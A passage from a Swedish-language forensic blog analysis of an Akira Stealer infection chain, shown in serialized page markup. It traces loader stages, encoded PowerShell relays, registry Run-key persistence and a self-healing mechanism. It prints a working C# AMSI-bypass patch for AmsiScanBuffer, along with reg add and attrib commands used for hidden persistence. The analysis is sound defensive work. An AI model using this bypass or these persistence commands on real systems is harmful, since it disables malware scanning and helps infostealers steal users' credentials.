",[551,975,976],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[533,978,979],{},"Själva filen var liten, rent kompilerad och oanmärkningsvärd ur ett statiskt analysperspektiv. Inga misstänkta strängar, inga krypterade sektioner och inga indikatorer på obfuskering eller packning. Den importerade endast en minimal uppsättning standard-API-funktioner i Windows och innehöll ingen inbäddad payload.",[533,981,982,983,985,986,988],{},"Dess beteende var dock mer talande. När den väl startats extraherade ",[551,984,574],{}," en Electron-applikation ur ett medföljande arkiv, en fristående NodeJS-runtime paketerad med standardverktyg för Electron. Den uppackade mappen innehöll en körbar fil vid namn ",[551,987,578],{},", som därefter startades som en underprocess.",[588,990,993],{"className":991,"code":992,"language":593,"meta":594},[591],"Updater.exe → main.exe\n",[551,994,992],{"__ignoreMap":594},[533,996,997,998,1000,1001,1003],{},"Det fanns inga nätverksindikatorer i det här skedet, ingen processinjektion och ingen avvikelse i behörigheter eller tokenförhöjning. Hela rollen för ",[551,999,574],{}," verkade vara den av en loader, som levererade en andrastegskomponent (",[551,1002,578],{},") in i miljön, sannolikt med målet att bevara smygförmåga och modularitet.",[533,1005,1006],{},"Den här typen av arkitektonisk uppdelning är vanlig i modern skadlig kod och stealer-verktygssatser av hyllvara. Den initiala loadern fungerar bara som en distributionsstubbe och låter den tyngre logiken, ofta obfuskerad, tolkad eller dynamiskt genererad, ligga i senare steg.",[533,1008,1009,1010,1012,1013,1015,1016,586],{},"I det här fallet fyllde ",[551,1011,574],{}," exakt det syftet: ett tyst initialt fotfäste utformat för att smälta in, förbli oupptäckt och bana väg för exekveringen av den faktiska stealer-logiken i ",[551,1014,578],{}," och slutligen ",[551,1017,582],{},[533,1019,1020],{},"Den rörde inte filsystemet utöver sin egen katalog och utlöste inga beteenderegler, och ändå var den den första brickan att falla i en lång och omsorgsfullt konstruerad attackkedja.",[862,1022,1024,1025,1027],{"id":1023},"_213-mainexe-obfuskerad-nodejs-payloadbehållare","2.1.3 ",[551,1026,578],{}," – Obfuskerad NodeJS-payloadbehållare",[533,1029,868],{},[533,1031,1032,1033,1035,1036,1038],{},"Efter exekveringen av ",[551,1034,574],{}," startades en andrastegsbinär vid namn ",[551,1037,578],{},". Denna komponent presenterade sig som en vanlig Electron-applikation, en runtime-miljö som paketerar Node.js och Chromium och ofta används för plattformsoberoende skrivbordsappar. Dess oskyldiga natur är en del av det som gör den så farlig i fel händer.",[533,1040,1041,1042,1044,1045,1048],{},"Vid inspektion innehöll ",[551,1043,578],{}," ett internt arkiv vid namn ",[551,1046,1047],{},"app.asar",", standardformatet för paketering av Electron-baserade applikationer. Till skillnad från legitima Electron-appar var innehållet i det här arkivet dock allt annat än vanligt.",[604,1050,1051,1057,1063,1071],{},[607,1052,1053,1056],{},[540,1054,1055],{},"Plattform",": Electron (Node.js + Chromium)",[607,1058,1059,1062],{},[540,1060,1061],{},"Arkitektur",": 64-bitars Windows",[607,1064,1065,1068,1069],{},[540,1066,1067],{},"Innehållsstruktur",": Inbäddade JavaScript-filer i ",[551,1070,1047],{},[607,1072,1073,1076,1077,1080],{},[540,1074,1075],{},"Obfuskeringsnivå",": Hög, uppnådd med ",[551,1078,1079],{},"js-confuser",", en kommersiellt tillgänglig obfuskeringsverktygssats för JavaScript",[533,1082,1083,1084,1086],{},"När den väl dekompilerats och deobfuskerats blev kärnlogiken i ",[551,1085,578],{}," tydlig. Dess syfte var inte att visa ett GUI eller köra någon frontendlogik, i stället fungerade den som en dold exekveringsorkestrerare.",[533,1088,1089],{},[540,1090,1091],{},"Observerat beteende:",[604,1093,1094,1097,1104],{},[607,1095,1096],{},"Dekrypterar och rekonstruerar ett Base64-kodat PowerShell-kommando som lagras i JavaScript-payloaden",[607,1098,1099,1100,1103],{},"Startar ",[551,1101,1102],{},"cmd.exe"," för att köra PowerShell-kommandot inline",[607,1105,1106,1107,1109,1110,1113],{},"PowerShell-kommandot anropar i sin tur ",[551,1108,553],{}," och skickar in ett skript som ligger under en till synes ofarlig katalogstruktur (",[551,1111,1112],{},"Crypto\\Util\\astor.py",")",[588,1115,1118],{"className":1116,"code":1117,"language":593,"meta":594},[591],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[551,1119,1117],{"__ignoreMap":594},[533,1121,1122],{},"Denna kedjning gjorde det möjligt för angriparen att växla exekveringskontext och undgå enkel detektering. Eftersom payloaden var obfuskerad och stagad i minnet var traditionella signaturbaserade kontroller verkningslösa.",[533,1124,1125],{},"Electron-ramverket erbjöd en idealisk täckmantel, det tillät exekvering av godtycklig JavaScript samtidigt som det undvek granskning. JavaScript-baserad exekvering införde också plattformsoberoende kompatibilitet, vilket möjliggjorde flexibel distribution och enklare integration av dynamisk styrlogik.",[533,1127,1128,1129,1131],{},"Det som gjorde ",[551,1130,578],{}," särskilt farlig var dess förmåga att arbeta utan att droppa några ytterligare filer utöver det som redan hade stagats. Stealer-skriptet anropades direkt från disk, men all staging- och exekveringslogik förblev inbäddad i Electron-buntet.",[533,1133,1134,1135,1137,1138,586],{},"Sammanfattningsvis fungerade ",[551,1136,578],{}," som den obfuskerade, flerskiktade exekveringskärnan, som grindvakt mellan initial persistens och den fullständiga aktiveringen av Akira Stealer-payloaden i ",[551,1139,582],{},[862,1141,1143,1144,1146],{"id":1142},"_214-cmdexe-och-powershell-relä","2.1.4 ",[551,1145,1102],{}," och PowerShell-relä",[533,1148,868],{},[533,1150,1151],{},"Detta steg i exekveringskedjan fungerade som ett relä, inte för payloadlogik, utan för obfuskering och indirektion.",[533,1153,1154,1155,1157,1158,1160,1161,586],{},"Efter att ",[551,1156,578],{}," slutfört sin roll att packa upp och avkoda payloaden startade den en ",[551,1159,1102],{},"-process. Denna process innehöll ingen skadlig logik i sig, och den skrev inte till eller ändrade filer. Dess enda syfte var att fungera som en wrapper för att starta en PowerShell-session med ett ",[540,1162,1163],{},"kodat kommando",[533,1165,1166],{},"Denna metod är en välkänd taktik som används för att minska synligheten och undvika detektering:",[604,1168,1169,1181],{},[607,1170,1171,1174,1175],{},[540,1172,1173],{},"Exekveringskedja",":",[588,1176,1179],{"className":1177,"code":1178,"language":593},[591],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[551,1180,1178],{"__ignoreMap":594},[607,1182,1183,1174,1186],{},[540,1184,1185],{},"Syfte",[604,1187,1188,1191,1194],{},[607,1189,1190],{},"Kapslar in PowerShell-exekvering i ett ytterligare skal",[607,1192,1193],{},"Döljer den faktiska PowerShell-koden från direkt synlighet i loggar",[607,1195,1196,1197,1200],{},"Undgår EDR:er som utlöses av direkt användning av ",[551,1198,1199],{},"powershell.exe"," med misstänkta parametrar",[533,1202,1203,1204,1206],{},"Genom att bädda in PowerShell-skriptet som en Base64-kodad sträng och anropa det via ",[551,1205,1102],{}," undvek angriparen flera former av detektering:",[604,1208,1209,1214,1219],{},[607,1210,1211],{},[540,1212,1213],{},"Heuristiska filter för kommandorader",[607,1215,1216],{},[540,1217,1218],{},"Standardloggning (t.ex. Event ID 4104, 4688)",[607,1220,1221],{},[540,1222,1223,1224,1226,1227,620,1230,1233],{},"Regelbaserade detektioner för ",[551,1225,1199],{},"-argument som ",[551,1228,1229],{},"-NoProfile",[551,1231,1232],{},"-ExecutionPolicy Bypass"," eller inline-skript",[533,1235,1236,1237,1239,1240,1242],{},"Noterbart är att PowerShell-kommandot hölls minimalt och enbart inriktat på att starta ",[551,1238,553],{}," med en sökväg till det inbäddade stealer-skriptet, ",[551,1241,582],{},". Inga ytterligare moduler laddades, och inga uppenbara signaturer fanns i minnet.",[533,1244,1245],{},"Denna reläteknik används ofta både inom red teaming och av sofistikerade infostealers, som ett lättviktigt undanflyktsskikt som är enkelt att implementera men svårt att fånga utan telemetrikorrelation.",[533,1247,1009,1248,1250],{},[551,1249,1102],{}," exakt det syftet: en enkel, tyst brygga mellan JavaScript-logik och Python-exekvering, en som nästan slank igenom obemärkt.",[862,1252,1254,1255,1257,1258],{"id":1253},"_215-pythonexe-med-astorpy","2.1.5 ",[551,1256,553],{}," med ",[551,1259,582],{},[533,1261,868],{},[533,1263,1264,1265,1267,1268,1270],{},"Det sista och mest verkningsfulla steget i exekveringskedjan nåddes när ",[551,1266,553],{}," anropade ",[551,1269,582],{},", en Python-baserad, modulär infostealer som helt och hållet arbetar i minnet. Detta skript utgjorde den operativa kärnan i hela attackkedjan.",[533,1272,1273,1274,1276],{},"Till skillnad från många stealers av hyllvara distribuerades inte ",[551,1275,582],{}," i klartext. Det skyddades av en flerskiktad dekrypteringsmekanism:",[604,1278,1279,1288],{},[607,1280,1281,1284,1285,586],{},[540,1282,1283],{},"Dekrypteringsstack",": Filen komprimerades först med GZIP och krypterades sedan med ",[540,1286,1287],{},"AES-256-CBC",[607,1289,1290,1293],{},[540,1291,1292],{},"Nyckelderivering",": En PBKDF2-baserad nyckelderiveringsprocess användes (SHA-512, 1 000 000 iterationer), vilket gör statisk analys och brute-forcing högst opraktiskt.",[533,1295,1296],{},"När skriptet väl dekrypterats vid körning körde det flera specialiserade moduler, alla inriktade på känsliga datakällor:",[533,1298,1299],{},[540,1300,1301],{},"Kärnförmågor",[604,1303,1304,1310,1320,1330],{},[607,1305,1306,1309],{},[540,1307,1308],{},"Extrahering av webbläsardata",": Hämtade inloggningsuppgifter, cookies och autofyll-data från Chromium-baserade webbläsare (Chrome, Edge, Brave, Opera)",[607,1311,1312,1315,1316,1319],{},[540,1313,1314],{},"Insamling av tokens",": Samlade in sessionstokens, särskilt från ",[540,1317,1318],{},"Discord",", och sökte efter tillägg för kryptovalutaplånböcker",[607,1321,1322,1325,1326,1329],{},[540,1323,1324],{},"Datapaketering",": Aggregerade all insamlad data i ett strukturerat ",[540,1327,1328],{},"ZIP-arkiv"," och bevarade katalog- och filkontext för angriparens tolkning",[607,1331,1332,1335],{},[540,1333,1334],{},"Exfiltrering",": Laddade upp det resulterande arkivet till publika API:er och infrastruktur.",[533,1337,1338],{},[540,1339,966],{},[533,1341,1342],{},"Hela stealer-logiken kördes från minnet, utan några persistenta filer skrivna till disk. Den lämnade minimala telemetrispår utöver artefakter i processminnet och standardanrop av underprocesser. Inget försök gjordes att etablera persistens i det här skedet, målet var snabb, effektiv och tyst datastöld.",[533,1344,1345],{},"Användningen av legitima API:er för exfiltrering gjorde också detektering och förebyggande betydligt svårare, eftersom den utgående trafiken smälte in i rutinmässig internetaktivitet.",[533,1347,1348,1349,1351],{},"Detta steg bekräftade slutligen den skadliga kodens identitet: en variant av ",[540,1350,651],{},", känd för sin:",[604,1353,1354,1357,1360,1363],{},[607,1355,1356],{},"Höga modularitet",[607,1358,1359],{},"Obfuskering vid körning",[607,1361,1362],{},"Kommersiella distribution via Telegram",[607,1364,1365],{},"Starka fokus på insamling av inloggningsuppgifter och tokenbaserad sessionskapning",[533,1367,1368,1369,1371],{},"Tillsammans med de tidigare stegen bildade ",[551,1370,582],{}," den kritiska slutpunkten i en smygande och välkonstruerad infostealer-kedja. I de följande avsnitten dissekerar vi denna komponent ytterligare och förklarar hur vi bakåtutvecklade dess logik, kartlade dess infrastruktur och återställde varje komprometteringsindikator som användes under dess drift.",[528,1373,1375,1376],{"id":1374},"_3-deep-dive-updaterexe","3. Deep Dive: ",[551,1377,574],{},[533,1379,535],{},[533,1381,1382,1384],{},[551,1383,574],{}," var den första binären som observerades under analysen efter intrånget. Trots sitt neutrala utseende och försumbara detektionsavtryck spelade den en avgörande roll för att upprätthålla malwarens operativa persistens och leverera nästa stegs payload.",[714,1386,1388],{"id":1387},"_31-egenskaper","3.1 Egenskaper",[533,1390,720],{},[1392,1393,1394,1407],"table",{},[1395,1396,1397],"thead",{},[1398,1399,1400,1404],"tr",{},[1401,1402,1403],"th",{},"Property",[1401,1405,1406],{},"Value",[1408,1409,1410,1421,1431,1441,1451,1461],"tbody",{},[1398,1411,1412,1418],{},[1413,1414,1415],"td",{},[540,1416,1417],{},"Format:",[1413,1419,1420],{},"Windows Portable Executable (PE32)",[1398,1422,1423,1428],{},[1413,1424,1425],{},[540,1426,1427],{},"Architecture:",[1413,1429,1430],{},"x86-64",[1398,1432,1433,1438],{},[1413,1434,1435],{},[540,1436,1437],{},"Size:",[1413,1439,1440],{},"~154 KB",[1398,1442,1443,1448],{},[1413,1444,1445],{},[540,1446,1447],{},"Entropy:",[1413,1449,1450],{},"Normal (non-packed)",[1398,1452,1453,1458],{},[1413,1454,1455],{},[540,1456,1457],{},"Signatures:",[1413,1459,1460],{},"None",[1398,1462,1463,1468],{},[1413,1464,1465],{},[540,1466,1467],{},"VirusTotal Detection:",[1413,1469,1470],{},"1/69 at time of analysis",[533,1472,1473],{},"Filen uppvisade en ren importtabell och inga inbäddade strängindikatorer. Inga kända packers, crypters eller mekanismer för runtime-obfuskering upptäcktes. Strukturen stämde överens med anpassat kompilerade binärer.",[714,1475,1477],{"id":1476},"_32-beteendeanalys","3.2 Beteendeanalys",[533,1479,720],{},[533,1481,1482],{},[540,1483,1484],{},"Ingen användarinteraktion krävs",[533,1486,1487,1488,1490],{},"Malwarekedjan kördes utan någon nödvändig användarinteraktion. Baserat på Defenders processtelemetri startades den första binären (",[551,1489,574],{},") automatiskt, troligen via en persistensmekanism som en autorun-nyckel i registret. På grund av intrångets ålder och avsaknaden av historiska händelseloggar gick den exakta persistensmetoden dock inte att återskapa.",[533,1492,1493],{},[540,1494,1495],{},"Tyst exekvering och staging",[533,1497,1498,1499,1501,1502,1504],{},"Vid exekvering startade ",[551,1500,574],{}," omedelbart ",[551,1503,578],{}," utan något synligt fönster och utan användardialoger. Staging skedde tyst i bakgrunden. Det fanns inga tecken på samtyckesdialoger, UAC-prompter eller GUI-komponenter.",[533,1506,1507],{},[540,1508,1509],{},"Beteende vid payload-utrullning",[533,1511,1512,1514],{},[551,1513,578],{}," visade sig vara en del av en Electron-applikationsstruktur, men det exakta ursprunget för dess utrullning är fortfarande oklart. Ett av följande antas:",[604,1516,1517,1523],{},[607,1518,1519,1520,1522],{},"Payloaden kan ha buntats internt i ",[551,1521,574],{}," (t.ex. som en inbäddad resurs), eller",[607,1524,1525],{},"den kan ha hämtats från en fjärrkälla",[533,1527,1528],{},"På grund av avsaknad av nätverkstelemetri och ingen återfunnen hårdkodad URL förblir leveransvektorn för Electron-appen oklar.",[533,1530,1531],{},[540,1532,1533],{},"Beteende i processkedjan",[533,1535,1536,1537,1539,1540,1542],{},"När ",[551,1538,574],{}," väl körts skapade den ",[551,1541,578],{}," som en barnprocess. Anropet var icke-interaktivt, och ingen process som skapades från kedjan uppvisade UI-aktivitet. Processkedjan fortsatte som väntat:",[588,1544,1547],{"className":1545,"code":1546,"language":593},[591],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[551,1548,1546],{"__ignoreMap":594},[533,1550,1551],{},"Alla exekveringssteg fungerade utan att kräva användarinmatning, och förlitade sig enbart på förkonfigurerad startlogik och tysta exekveringsvägar. Detta minimerade exponeringen och hjälpte malwaren att förbli oupptäckt under en längre period.",[714,1553,1555],{"id":1554},"_33-roll-i-infektionskedjan","3.3 Roll i infektionskedjan",[533,1557,720],{},[533,1559,1560,1562,1563,1566,1567,586],{},[551,1561,574],{}," spelade en ",[540,1564,1565],{},"enda men väsentlig roll"," inom den bredare infektionskedjan: den ansvarade för persistensen och återutrullningen av stage-2-komponenten ",[551,1568,578],{},[533,1570,1571],{},[540,1572,1573],{},"Bekräftade egenskaper",[604,1575,1576,1583,1590],{},[607,1577,1578,1579,1582],{},"Den innehöll eller körde ",[540,1580,1581],{},"inte"," skadlig logik direkt",[607,1584,1585,1586,1589],{},"Den utförde ",[540,1587,1588],{},"ingen"," dataexfiltrering",[607,1591,1592,1593,1595],{},"Den interagerade ",[540,1594,1581],{}," med webbläsarens credential stores eller känslig användardata",[533,1597,1598,1599,1601],{},"Dess enda syfte var att tyst starta ",[551,1600,578],{}," vid användarinloggning, med en autorun-post i registret som den mest sannolika persistensmetoden (även om den inte återfanns direkt på grund av telemetribegränsningar).",[533,1603,1604,1605,1607,1608,1610],{},"Genom att fungera som en isolerad first-stage loader såg ",[551,1606,574],{}," till att själva stealer-payloaden (",[551,1609,582],{},") förblev dold i djupare exekveringslager. Denna uppdelning av uppgifter lät angriparna:",[604,1612,1613,1616,1619],{},[607,1614,1615],{},"Undvika korrelation via statiskt AV eller sandbox-system",[607,1617,1618],{},"Byta ut eller uppdatera payloads utan att modifiera loadern",[607,1620,1621],{},"Minska beteendesignaler vid ingångspunkten",[533,1623,1624,1625,1628],{},"Detta mönster är typiskt i ",[540,1626,1627],{},"malware-as-a-service (MaaS)","-operationer, där leveransmekanismerna är generiska och payloads är modulära eller klientspecifika.",[533,1630,1631,1632,1634],{},"I det här fallet gav ",[551,1633,574],{}," precis tillräckligt med logik för att fungera som en pålitlig och smygande ingångspunkt: inget mer, men inte heller något mindre.",[714,1636,1638],{"id":1637},"_34-persistens-via-registret-bekräftad-i-astorpy","3.4 Persistens via registret (bekräftad i astor.py)",[533,1640,720],{},[533,1642,1643,1644,1646],{},"Statisk analys av Python-payloaden visade att ",[551,1645,574],{}," uttryckligen görs persistent med en autorun-post i registret:",[604,1648,1649,1657,1665],{},[607,1650,1651,973,1654],{},[540,1652,1653],{},"Registry Path",[551,1655,1656],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[607,1658,1659,973,1662],{},[540,1660,1661],{},"Value Name",[551,1663,1664],{},"Realtek Audio",[607,1666,1667,973,1670],{},[540,1668,1669],{},"Payload Path",[551,1671,1672],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[533,1674,1675],{},"Motsvarande registerkommando körs via PowerShell:",[588,1677,1681],{"className":1678,"code":1679,"language":1680,"meta":594,"style":594},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[551,1682,1683],{"__ignoreMap":594},[1684,1685,1688],"span",{"class":1686,"line":1687},"line",1,[1684,1689,1679],{},[533,1691,1692],{},"Detta säkerställer att malwaren startas vid varje användarinloggning. Filen märks också med attributen hidden och system för att ytterligare undvika detektion:",[588,1694,1696],{"className":1678,"code":1695,"language":1680,"meta":594,"style":594},"attrib +h +s \"Updater.exe\"\n",[551,1697,1698],{"__ignoreMap":594},[1684,1699,1700],{"class":1686,"line":1687},[1684,1701,1695],{},[533,1703,1704],{},"Denna persistensmekanism var inbäddad direkt i astor.py-koden, vilket bekräftar att stealern i slutsteget aktivt håller loadern närvarande på disk och i startregistret.",[714,1706,1708],{"id":1707},"_35-sammanfattning","3.5 Sammanfattning",[533,1710,720],{},[821,1712,1713],{},[533,1714,1715,1716,1718],{},"Även om ",[551,1717,574],{}," inte var skadlig i sig till struktur eller innehåll, bekräftade dess kontextuella beteende i exekveringskedjan dess roll som malware loader.",[827,1720],{"className":1721},[830],[533,1723,1724],{},"Denna binär fungerade som en ren, minimalistisk first-stage launcher som undvek detektion av statisk analys, AV-motorer och beteenderegler. Dess design fokuserade enbart på smygande och operativt stöd, inte på att köra skadlig logik själv.",[533,1726,1727,1728,1730,1731,1733,1734,1737],{},"Dess roll sträckte sig dock bortom den initiala utrullningen. Under reverse engineering av ",[551,1729,582],{},"-payloaden identifierade vi logik som aktivt kontrollerade om ",[551,1732,574],{}," fanns närvarande. Denna kontroll var en del av en bredare ",[540,1735,1736],{},"health- och self-healing-cykel"," som implementerades i stealer-koden, en mekanism utformad för att verifiera integriteten i infektionskedjan och återställa saknade komponenter vid behov.",[533,1739,1740,1741,1743,1744,1747],{},"Det innebär att ",[551,1742,574],{}," inte bara ansvarade för att initiera malwaren, utan också utgjorde en del av dess ",[540,1745,1746],{},"löpande runtime-validering",". Utan denna stub kunde malwaren förlora sin förmåga att återinitieras i framtida sessioner.",[533,1749,1750],{},[540,1751,1752,1753,1174],{},"Centrala funktioner hos ",[551,1754,574],{},[604,1756,1757,1762,1767,1770],{},[607,1758,1759,1760],{},"Smidig utrullning av ",[551,1761,578],{},[607,1763,1764,1765],{},"Indirekt exekvering av ",[551,1766,582],{},[607,1768,1769],{},"Frikoppling av loader- och payload-logik",[607,1771,1772,1775],{},[540,1773,1774],{},"Refererad av payloaden själv"," som en del av den operativa health-övervakningen",[533,1777,1778],{},"I avsnitt 5 går vi in på detaljerna kring stealerns interna health-check-rutiner, inklusive dess self-healing-beteende och mekanismer för integritetsvalidering.",[533,1780,1781,1782,1784],{},"För tillfället står det klart att ",[551,1783,574],{}," fungerade som både tändning och ankarpunkt i denna lagerbaserade infostealer-arkitektur.",[714,1786,1788],{"id":1787},"_36-extraktionstrick-att-överlista-loadern","3.6 Extraktionstrick: att överlista loadern",[533,1790,720],{},[533,1792,1793],{},"Ibland kommer de bästa resultaten inom reverse engineering inte från djupgående binär-disassemblering, utan från lite list och tålamod.",[533,1795,1796,1797,1799,1800,1802],{},"När vi analyserade infektionen i en kontrollerad labbmiljö lade vi märke till något underligt: ",[551,1798,574],{}," fanns närvarande och kördes, men ",[551,1801,578],{}," hade försvunnit från filsystemet. Då fick vi en idé: vad händer om vi låter malwaren reparera sig själv?",[533,1804,1805,1806,1811,1812,1814],{},"Vi ",[540,1807,1808,1809],{},"raderade ",[551,1810,578],{}," medvetet från den infekterade miljön och lämnade ",[551,1813,574],{}," orörd. Och mycket riktigt, efter nästa inloggning i användarsessionen gick loadern till verket, inte med ett utbrott, utan med ett tyst försök att återuppbygga sitt andra steg.",[533,1816,1817,1818,1820,1821,1823,1824,1827,1828,1831,1832,620,1834,558,1837,1839],{},"Här blev det intressant: i stället för att direkt återskapa ",[551,1819,578],{}," släppte ",[551,1822,574],{}," först en fil vid namn ",[551,1825,1826],{},"app-64.7z",", ett vanligt ",[540,1829,1830],{},"7-Zip-arkiv",". Detta arkiv innehöll hela Electron-applikationsstrukturen, inklusive ",[551,1833,578],{},[551,1835,1836],{},"resources",[551,1838,1047],{},"-payloaden med all inbäddad logik.",[533,1841,1842,1843,586],{},"Vi hade i praktiken ",[540,1844,1845],{},"tvingat malwaren att lämna över källpaketet till oss",[533,1847,1848],{},[748,1849],{"alt":1850,"src":1851},"Suspicious Updater Executable Detected","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[533,1853,1854],{},"Med detta 7z-arkiv i handen kunde vi extrahera, dekomprimera och fullständigt reversa den JavaScript-baserade orkestreringslogiken utan att ens röra den ursprungliga loadern igen. Arkivstrukturen matchade den förväntade Electron-app-layouten perfekt.",[533,1856,1857,1858,1861],{},"Detta beteende tyder starkt på att angriparna medvetet valde en ",[540,1859,1860],{},"modulär och underhållbar arkitektur",", där de använde arkiv som flexibla payload-containrar. Det lät dem också byta ut eller uppdatera payload-komponenter utan att kompilera om loader-binären.",[533,1863,1864],{},"Och i vårt fall? Det lät oss överlista deras kedja, avlyssna droppen och gå därifrån med hela paketet, som att stjäla ritningarna från arbetsbänken medan byggaren tittade bort.",[533,1866,1867,1868],{},"Låt oss uttrycka det så här: ",[540,1869,1870,1871,620,1874,1877],{},"ibland är de bästa forensiska verktygen ",[551,1872,1873],{},"del",[551,1875,1876],{},"wait"," och lite nyfikenhet.",[528,1879,1881,1882],{"id":1880},"_4-deep-dive-powbat","4. Deep Dive: ",[551,1883,1884],{},"pow.bat",[533,1886,535],{},[533,1888,1889,1890,1893],{},"I den analyserade malwarekampanjen fungerar komponenten ",[551,1891,1892],{},"Invoke-SharpLoader"," som en anpassad, minnesresident .NET-loader som uppvisar ett mycket modulärt och undvikande exekveringsflöde. Det här avsnittet dissekerar dess interna arkitektur, dess anti-analysstrategi via AMSI-patchning och dess roll i att möjliggöra andra stegets payload.",[714,1895,1897],{"id":1896},"_41-binära-egenskaper-sharploader-batch-wrapper","4.1 Binära egenskaper – SharpLoader Batch Wrapper",[533,1899,720],{},[533,1901,1902,1903,1905],{},"Innan den körs för att ladda .NET-payloaden i minnet uppvisar den yttre wrappern ",[551,1904,1884],{}," följande egenskaper enligt statisk analys:",[1392,1907,1908,1916],{},[1395,1909,1910],{},[1398,1911,1912,1914],{},[1401,1913,1403],{},[1401,1915,1406],{},[1408,1917,1918,1927,1936,1946,1955,1965,1975,1984],{},[1398,1919,1920,1924],{},[1413,1921,1922],{},[540,1923,1417],{},[1413,1925,1926],{},"DOS Batch File",[1398,1928,1929,1933],{},[1413,1930,1931],{},[540,1932,1427],{},[1413,1934,1935],{},"Script-based (not compiled binary)",[1398,1937,1938,1943],{},[1413,1939,1940],{},[540,1941,1942],{},"File Size:",[1413,1944,1945],{},"27.79 KB (28454 bytes)",[1398,1947,1948,1952],{},[1413,1949,1950],{},[540,1951,1447],{},[1413,1953,1954],{},"Normal (plain ASCII text)",[1398,1956,1957,1962],{},[1413,1958,1959],{},[540,1960,1961],{},"Magic:",[1413,1963,1964],{},"DOS batch file, ASCII text",[1398,1966,1967,1972],{},[1413,1968,1969],{},[540,1970,1971],{},"Digital Signature:",[1413,1973,1974],{},"None detected",[1398,1976,1977,1981],{},[1413,1978,1979],{},[540,1980,1467],{},[1413,1982,1983],{},"26 / 61 (at time of analysis)",[1398,1985,1986,1991],{},[1413,1987,1988],{},[540,1989,1990],{},"Threat Labels:",[1413,1992,1993,620,1996,620,1999,620,2001],{},[551,1994,1995],{},"trojan",[551,1997,1998],{},"downloader",[551,2000,1680],{},[551,2002,2003],{},"agentb",[533,2005,2006,2007,2010],{},"Trots att det är en enkel ",[551,2008,2009],{},".bat","-fil undviker skriptet många statiska detektioner och förlitar sig i hög grad på living-off-the-land-tekniker som PowerShell för att ladda ner och köra obfuskerade och krypterade payloads.",[714,2012,2014,2015,1113],{"id":2013},"_42-amsi-bypass-teknik-klass-gofor4msi","4.2 AMSI Bypass-teknik (klass: ",[551,2016,2017],{},"gofor4msi",[533,2019,720],{},[533,2021,2022],{},"En av de första försvarsmekanismerna som SharpLoader kringgår är AMSI, Anti-Malware Scan Interface, en Microsoft-funktion som är integrerad i skriptmotorer som PowerShell och Windows Script Host för att tillhandahålla realtidsskanning av innehåll efter misstänkt beteende. Malwareutvecklare försöker ofta kringgå AMSI för att undvika detektion av endpoint-skyddssystem.",[533,2024,2025,2026,2029,2030,2033,2034,2037,2038,2041,2042,2045],{},"I SharpLoader implementeras AMSI-bypassen genom ",[540,2027,2028],{},"direkt in-memory-patchning"," av funktionen ",[551,2031,2032],{},"AmsiScanBuffer"," i ",[551,2035,2036],{},"amsi.dll",". Denna funktion ansvarar normalt för att analysera skriptinnehåll och returnera en resultatkod som anger om innehållet är misstänkt (",[551,2039,2040],{},"AMSI_RESULT_DETECTED",") eller säkert (",[551,2043,2044],{},"AMSI_RESULT_CLEAN",").",[533,2047,2048],{},"Den relevanta koden för in-memory-patchning är:",[588,2050,2054],{"className":2051,"code":2052,"language":2053,"meta":594,"style":594},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[551,2055,2056,2061,2067,2073],{"__ignoreMap":594},[1684,2057,2058],{"class":1686,"line":1687},[1684,2059,2060],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1684,2062,2064],{"class":1686,"line":2063},2,[1684,2065,2066],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1684,2068,2070],{"class":1686,"line":2069},3,[1684,2071,2072],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1684,2074,2076],{"class":1686,"line":2075},4,[1684,2077,2078],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[533,2080,2081],{},"Denna sekvens utför följande steg:",[2083,2084,2085,2094,2105,2115],"ol",{},[607,2086,2087,2090,2091,586],{},[540,2088,2089],{},"Ladda AMSI-DLL:n"," in i processen med ",[551,2092,2093],{},"LoadLibrary(\"amsi.dll\")",[607,2095,2096,2099,2100,583,2102,586],{},[540,2097,2098],{},"Lös upp minnesadressen"," för funktionen ",[551,2101,2032],{},[551,2103,2104],{},"GetProcAddress()",[607,2106,2107,2110,2111,2114],{},[540,2108,2109],{},"Ändra minnesskyddet"," för adressen med ",[551,2112,2113],{},"VirtualProtect()"," för att göra den skrivbar.",[607,2116,2117,1257,2120,2123],{},[540,2118,2119],{},"Skriv över början av funktionen",[551,2121,2122],{},"Marshal.Copy()"," med en liten shellcode-patch.",[533,2125,2126],{},"Patchen som appliceras för 64-bitarssystem är:",[588,2128,2130],{"className":2051,"code":2129,"language":2053,"meta":594,"style":594},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[551,2131,2132],{"__ignoreMap":594},[1684,2133,2134],{"class":1686,"line":1687},[1684,2135,2129],{},[533,2137,2138],{},"Detta motsvarar följande instruktioner:",[604,2140,2141,2150],{},[607,2142,2143,2146,2147],{},[551,2144,2145],{},"mov eax, 0x80070057"," → sätter returkoden till Windows-felkoden ",[551,2148,2149],{},"E_INVALIDARG",[607,2151,2152,2155],{},[551,2153,2154],{},"ret"," → returnerar omedelbart från funktionen",[533,2157,2158,2159,2161],{},"Detta gör i praktiken att ",[551,2160,2032],{}," misslyckas tyst och returnerar ett icke-detektionsresultat, vilket neutraliserar AMSI-kontrollerna. Malwaren kan nu köra skript eller .NET-kod som annars skulle utlösa antiviruslarm.",[533,2163,2164],{},"Om koden körs på ett 32-bitarssystem appliceras en annan 